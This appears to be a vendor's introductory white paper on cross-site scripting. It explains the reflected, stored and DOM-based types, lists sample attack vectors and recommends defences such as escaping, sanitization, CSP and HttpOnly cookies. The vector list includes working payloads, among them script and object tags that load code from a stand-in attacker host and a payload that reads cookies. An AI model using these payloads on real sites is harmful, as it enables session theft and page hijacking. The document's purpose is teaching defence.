An Introduction to

Cross-Site Scripting (XSS)

by Ankit Tripathi, QA Automation Engineer, GlobalLogic
 Contents

A n I n t ro d u c t i o n to C ro s s - s i te S c r i p t i n g ( X S S ) 1

Ty p e s o f X S S A t t a c k s
R e f l e c te d C ro s s - s i te S c r i p t i n g 2
S to re d C ro s s - s i te S c r i p t i n g
D O M - b a s e d C ro s s - s i te S c r i p t i n g

C o m m o n l y U s e d X S S A t t a c k Ve c to r s 6
Script tag
JavaScript events
B o d y t a g
i f ra m e t a g
Input tag
Link tag
Ta b l e t a g
Div tag
Object tag

H o w to Pre v e n t X S S A t t a c k s 8
U s e e s c a p i n g te c h n i q u e s .
U s e a l i b ra r y to s a n i t i ze y o u r H T M L .
Av o i d J a v a S c r i p t U R L s .
Use the HTTPOnly cookie flag.
I m p l e m e n t C o n te n t S e c u r i t y Po l i c y.
U s e a p p ro p r i a te re s p o n s e h e a d e r s .
U s e to o l s m a d e f o r t h e p u r p o s e .

Conclusion 9

An Introduction to Cross-Site Scripting (XSS)

An Introduction to Cross-Site Scripting (XSS)
Cross-site scripting is a type of attack used to gain access to
the victim’s browser using vulnerabilities in the web application,
gaining access to the user’s private and sensitive information.
XSS is a code injection attack which happens at the client-side.
An attacker targets the victim’s web browser by executing a mali-
cious script on the web application.

If a web application uses an unsanitized user and displays the

same as output, that application can be considered vulnerable to
XSS attack. XSS attacks are most common in JavaScript. How-
ever, it is possible in CSS, VBScript, ActiveX, etc.

An example will help illustrate this. A public blog or a forum’s comment section takes user inputs, saves it
in their database and displays the same content to other users who visit the blog or forum. These types of
applications are a perfect target for an attacker, who can insert a malicious script in the input box and submit
it so that script will be saved in the database. Each time a user visits the blog or forum, the script will execute
on that user’s browser as a part of the web page, giving the attacker access to the user’s sensitive data.

Web pages that use SSL for data exchange encryption could also be targets for XSS because a malicious
script executes in the context of a web application’s DOM.

An Introduction to Cross-Site Scripting (XSS)

Types of XSS Attacks

There are three main types of XSS attacks:

1. Reflected Cross-site Scripting

Reflected XSS occurs when the malicious script is embedded into a link generated by an attacker and
activated only when the user clicks on the link. Here, the malicious script is not stored anywhere but only
displayed on the web page in the form of a URL or POST data.

An example of a reflected XSS vulnerability:

A web page takes text as input and displays the same content at the bottom of the text box. One thing
to notice here is the URL also shows the value as a parameter. An attacker usually targets these types of
applications. Now, an attacker can easily manipulate the URL with malicious code and share it with different
users. Every time a user clicks or opens the URL, the malicious code will be executed.

In the next snapshot we can see that the URL has been altered to show an alert box every time a user visits
the URL. Similarly, if someone visits the URL constructed by the attacker, the attacker’s malicious script exe-
cutes in the user’s browser in the context of that user’s session with the application. At that point, the script
can carry out any action and retrieve any data to which the user has access.

An Introduction to Cross-Site Scripting (XSS)

2. Stored Cross-Site Scripting

Stored XSS (or a persistent XSS) is the type of attack where the injected script is stored permanently on the
target servers. The data might be submitted to the application via HTTP requests; for example, the Stored
XSS depicted in the blog or forum example discussed earlier.

Here is a simple example of a stored XSS vulnerability. This application takes the Name and Message as an
input from the user and displays right below the form. In this application, the input data is stored in the data-
base so that every time someone visits the page, they can see the list of messages entered earlier.

If an attacker wants to get the running cookie, he simply can put a JavaScript code to display the cookie in
the input box.

An Introduction to Cross-Site Scripting (XSS)

Once he clicks the Sign Guestbook button, the script will be saved in the database, and every time any user
visits the page, the script to get the cookie will execute.

3. DOM-based Cross-Site Scripting

DOM-Based Cross-Site Scripting is a type of vulnerability that appears in a document object model instead
of the HTML page. It is quite different from reflected and stored XSS because, in this type of attack, the de-
veloper cannot find the malicious script in HTML source code or HTML response. It can only be observed at
the time of execution. An attacker usually uses this technique when the user input is audited for Script tags.

Take, for example, an application that takes the name in the input box and displays a message with the input
text value when a user clicks submit. If we inspect the displayed message, we can see that it is embedded
in a <pre> tag.

An Introduction to Cross-Site Scripting (XSS)

If the application had <script> tag sanitization, we would not be able to inject simple JavaScript such as
-<script>alert(“badCode”)</script>. It would remove the script tag and print the rest of the code as a plain
text, as shown below.

To bypass this, we can use the DOM XSS approach to inject the script in the document object model. If we
use the <img> tag (in HTML) and try to inject the script using that in the same input box, it will accept it and
our malicious script will execute. <img src=”” onerror=”alert(document.cookie)”>

One thing to notice here is that the HTML was also altered. We can see the <img> tag inside the <pre> tag.
However, this is not permanently stored and will be restored after revisiting the page.

An Introduction to Cross-Site Scripting (XSS)

Commonly Used XSS Attack Vectors
There are many XSS attack vectors that an attacker could use to compromise the security of a website
or web application through an XSS attack. Here are a few more commonly used:

Script tag
Using this tag, we can reference an external JavaScript or embed the code within the tag.
<script src=http://badworld.com/xss.js></script>
<script> alert(“badCode”) </script>

JavaScript events
A few JavaScript event attributes like onload and onerror can be used in many different tags. It
is one of the most popular XSS attack vectors
<body onload=alert(“XSS”)>

Body tag
The malicious code can be delivered using <body> event attributes such as the background
attribute.
<body background=”javascript:alert(“XSS”)”>

iframe tag
Due to Content Security Policy, JavaScript in the iframe cannot have access to DOM of the parent
page. But it can still be used to pull off phishing attacks.
<iframe src=”http://badworld.com/xss.html”>

Input tag
If the type attribute of an input tag is set to image, it can be altered to embed a script in some
browsers.
<input type=”image” src=”javascript:alert(‘XSS’);”>

An Introduction to Cross-Site Scripting (XSS)

Link tag
A link tag is often used to link to external style sheets, and may contain a script.
<link rel=”stylesheet” href=”javascript:alert(‘XSS’);”>

Table tag
A few JavaScript event attributes like onload and onerror can be used in many different tags. It
is one of the most popular XSS attack vectors
<table background=”javascript:alert(‘XSS’)”>
<td background=”javascript:alert(‘XSS’)”>

Div tag
Same as the Table tag, div table’s background attribute can be used to refer to a script.
<div style=”background-image: url(javascript:alert(‘XSS’))”>
<div style=”width: expression(alert(‘XSS’));”>

Object tag
The object tag can be used to include a script from an external site.
<object type=”text/x-scriptlet” data=”http://badworld.com/xss.html”>

An Introduction to Cross-Site Scripting (XSS)

How to Prevent XSS Attacks
To keep ourselves safe from XSS, we must validate our input and escape
our output. Without checking for malicious code, an application should never
output data received as input to the browser. Specific prevention techniques
depend on the programming framework, subtype of XSS vulnerability and on
user input usage context.

However, there are many good practices to follow to prevent an XSS attack,
and there are a few general strategic principles that can help keep our web
applications safe.

1. Use escaping techniques.

An appropriate escaping technique can be used as the primary defence mechanism to stop XSS attacks;
examples include HTML escape, JavaScript escape, CSS escape, and URL escape. These can be used
within an HTML document depending on where the untrusted string must be placed.

2. Use a library to sanitize your HTML.

If the user input must contain HTML, you can’t escape/encode it because it would break valid tags. In such
cases, use a trusted and verified library to parse and clean HTML. Choose the library depending on your
development language; examples include HtmlSanitizer, Sanitizer Helper, DOMPurify, and Python Bleach.

3. Avoid JavaScript URLs.

Untrusted URLs that include the protocol JavaScript will execute JS code when used in URL DOM locations
such as anchor tag HREF attributes or iframe src locations. Be sure to validate all untrusted URLs to ensure
they only contain safe schemes such as HTTPS.

4. Use the HTTPOnly cookie flag.

To ensure that the cookie is not accessible via client-side JavaScript, we must set an HTTPOnly flag for
cookies. This will help to mitigate the impact of XSS vulnerability.

5. Implement Content Security Policy.

Content Security Policy is a browser-side mechanism that allows you to create source whitelists for cli-
ent-side resources of your web application, e.g. JavaScript, CSS, images, etc. CSP uses special HTTP
headers to give instructions to browsers to execute only those resources from whitelisted sources.

6. Use appropriate response headers.

Content-Type and X-Content-Type-Options headers can be used to prevent XSS in HTTP responses that
aren’t supposed to contain any HTML or JavaScript.

7. Use tools made for the purpose.

Manually auditing the code to check if there is an XSS vulnerability could be challenging. Tools designed
to find such types of gaps in the code can help; examples include BurpSuite, Acunetix, IBM Rational
AppScan, and many others.

An Introduction to Cross-Site Scripting (XSS)

Conclusion
Cross-site scripting is a versatile attack technique to access to information from a victim’s system or force
other vulnerabilities for different types of attacks. This method could be used to cause information leaks,
illegal data server access or gain control over system environments. Similar attacks can be avoided with the
application of XSS prevention methods and good coding practices.

About the Author

Ankit Tripathi is a QA automation engineer specialized in security-related applications such as Key
Management built with HSM integration. He also is experienced in the field of UI and API automation. The
technical skills he pursues are Web Application security testing, Java, Selenium, REST Assured, Cucumber,
SoapUI, etc.

An Introduction to Cross-Site Scripting (XSS)

GlobalLogic is a leader in digital product engineering. We help our clients design and build
innovative products, platforms, and digital experiences for the modern world. By integrating
strategic design, complex engineering, and vertical industry expertise,— we help our clients
imagine what’s possible and accelerate their transition into tomorrow’s digital businesses.
Headquartered in Silicon Valley, GlobalLogic operates design studios and engineering centers
around the world, extending our deep expertise to customers in the communications, automotive,
healthcare, technology, media and entertainment, manufacturing, and semiconductor industries.

www.globallogic.com